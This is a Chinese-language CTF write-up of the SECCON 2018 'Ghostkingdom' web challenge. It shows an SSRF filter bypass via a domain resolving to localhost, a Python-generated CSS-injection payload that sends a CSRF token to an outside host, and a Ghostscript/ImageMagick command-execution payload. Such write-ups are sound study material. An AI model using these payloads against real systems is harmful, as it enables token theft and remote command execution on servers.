内容字号:默认大号超大号

段落设置:段首缩进取消段首缩进

字体设置:切换到微软雅黑切换到宋体

seccon Ghostkingdom

2018-11-06 20:29 出处:清屏网 人气: 评论(0

题目链接 http://ghostkingdom.pwn.seccon.jp/FLAG/

#流程分析

打开题目,先是一个简单的注册登陆流程,但是提交参数都是用的get提交的。

登陆之后有3个基本的功能。

Message to admin
Take a screenshot
Upload image   * Only for users logged in from the local network

先看一下每个功能的作用。

Message to admin

可以给admin发送消息,有两种模式,但是本质上是一样的只是多了css的渲染。我们直接看看Emergency方式。

url:http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=%3C%3E&action=msgadm2

其中base64解码之后,被输出到了\ 标签中。

<style>span{background-color:red;color:yellow}</style>

这里想通过引入<>括号,来进行xss,但是可惜的是直接被转义了,那这样的化我们只能通过 span{background-image:url(url)} 来发送一个get请求,但是这里在做题的时候把这个payload发送给admin的化在vps上面是收不到请求的,看了writeup才知道Send to admin 功能是无效的 。

Take a screenshot

访问一个的url,并截屏,而且是解析js的。很明显这里是存在ssrf的。尝试访问一下 http://127.0.0.1/,可以看到还是做了过滤的。

那我们把一个域名解析到127.0.0.1试试,我这里用的是t.mt1024.cn。成功的绕过了防护。那我们用之前的get登陆的方式尝试登陆一下。可以看到是有upload功能的。那现在的问题也就是我们要怎么伪造成localhost’登陆。

http://ghostkingdom.pwn.seccon.jp/?url=http%3a%2f%2ft.mt1024.cn%2f%2f%3fuser%3dmt1234567890%26pass%3dmt1234567890a%26action%3dlogin&wd=ip&action=sshot2

css injection

但是我们可以发现,我们得cookie和发送admin信息的csrf token是相同的。那这样的化我们可以用 css injection 来获取csrf token的值从而伪造我们是locahost登陆的。(其实这里我自己也有点搞不懂了,比赛的时候

这里直接借用一下大佬的payload:

import base64
def getBase64(s):
    z = []
    for i  in  '0123456789abcdef':
        st = s + i
        z.append('input[value^="{}"] {{background: url(http://sevice/?csrf={})}}'.format(st, st))
    return base64.b64encode('\n'.join(z))

def formatURL(s):
    return "http://0.0.0.0/?css={}&action=msgadm2".format(s)

print formatURL(getBase64(''))

然后我们在用之前的get登陆,然后用css去注入我们的cookie。(但是这里我自己也有点搞不懂,做题的时候也登陆了账号去在localhost注册cookie,但是访问upload的时候还是提示没有登陆,就以为是30s的限制别人把自己的cookie挤掉了,但是访问send message的时候就可以了。而且把自己本地的cookie清除掉了之后,localhost的cookie也掉了,或许只是争对payload将两边的cookie做了一个关系把。)

最后得到cookie:8dc4811759c90887a1f2d6

ghostscript命令执行

得到cookie之后我们就可以看到上传的页面了,我们直接上传一张不正常的图片。然后将其Convert to GIF format。

可以根据报错信息,搜到使用的ImageMagick进行的图片转换。然后用网上的[payload][ https://bbs.ichunqiu.com/thread-44747-1-1.html]一把唆就完事了。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(ls /var/www/html/FLAG/)) currentdevice putdeviceprops

分享给小伙伴们:
本文标签: secconGhostkingdom

相关文章

发表评论愿您的每句评论,都能给大家的生活添色彩,带来共鸣,带来思索,带来快乐。

CopyRight © 2015-2016 QingPingShan.com , All Rights Reserved.

清屏网 版权所有 豫ICP备15026204号